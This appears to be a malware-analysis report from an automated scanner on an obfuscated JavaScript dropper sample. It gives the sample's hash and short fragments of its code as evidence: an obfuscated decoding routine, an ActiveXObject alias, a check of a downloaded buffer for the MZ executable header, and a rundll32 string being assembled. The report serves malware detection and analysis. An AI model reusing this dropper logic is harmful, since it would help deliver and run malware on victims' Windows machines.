20161221_1ee6b570942e4eaa7590e8421200c1cc.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias
SHA-256d09df18b7accfc0ec1ef3363a4df530e54330eef111e84a23c91d69e63448ad4

Evidence

Hex arithmetic in string operations lines 2–14
2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikbiographyFROG2XCOP = 0;
9 var SupchikbiographyRazlomSS, SupchikbiographyFROG2ddDccC2, SupchikbiographyFROG2c3, SupchikbiographyFROG2c4;
10
11 var SupchikbiographyFROG2out = "";
12
13 var SupchikbiographyFROG2Supchikbiographyka= this.replace(/FROSTICK/gi, SupchikbiographyFROG2out);
14 var SupchikbiographyFROG2len = SupchikbiographyFROG2 …
charCodeAt() method call lines 18–20
18:7… r Supchikbiographykoch = SupchikbiographyFROG2Supchikbiographyka.charCodeAt(SupchikbiographyFROG2XCOP++) &(0x132- 0x33);
19 SupchikbiographyRazlomSS = levitron[Supchikbiographykoch];
20 } while (SupchikbiographyFROG2XCOP < Supchik …
Builds characters with String.fromCharCode lines 27–30
27:43… 1== 0)
28 break;
29 SupchikbiographyFROG2out += String['fromCharCode']((SupchikbiographyRazlomSS << 2) | ((SupchikbiographyFROG2ddDccC2 & 0x30) >> 4)); do {
30 SupchikbiographyFROG2c3 = Supchik …
ActiveXObject via local alias lines 185–188
185:22… FROG2d2=SupchikbiographyFROG2DoUtra.pop();
186SupchikbiographyFROG2fabled="Valar2Morgulis";
187 var SupchikbiographyFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikbiographyFROG2d2.split("45");SupchikbiographyFROG2Native.SupchikbiographyFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikbiographyFROG2$type(a)= …
Checks array for PE magic bytes lines 257–264
257:82… abaev);
258 if(SupchikbiographyTalabaevLaa < 29989)return false;
259 if (SupchikbiographyTalabaev[0]!= 77 || SupchikbiographyTalabaev[1]!= 90)return false;
260 SupchikbiographyFROG2CHICKA = SupchikbiographyFROG2CHICKA + SupchikbiographyFROG2SIDRENKOV;
261 REBEKK2(SupchikbiographyFROG2CHICKA, SupchikbiographyTalabaev );
262
263 var SupchikbiographyFROG2ddsSSddSd = ",happy";
264SupchikbiographyFROG2ddsSSddSd = (SupchikbiographyFROG2StrokaParam2,"undl") + (SupchikbiographyFROG2StrokaParam2,"l32 ") + Su …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.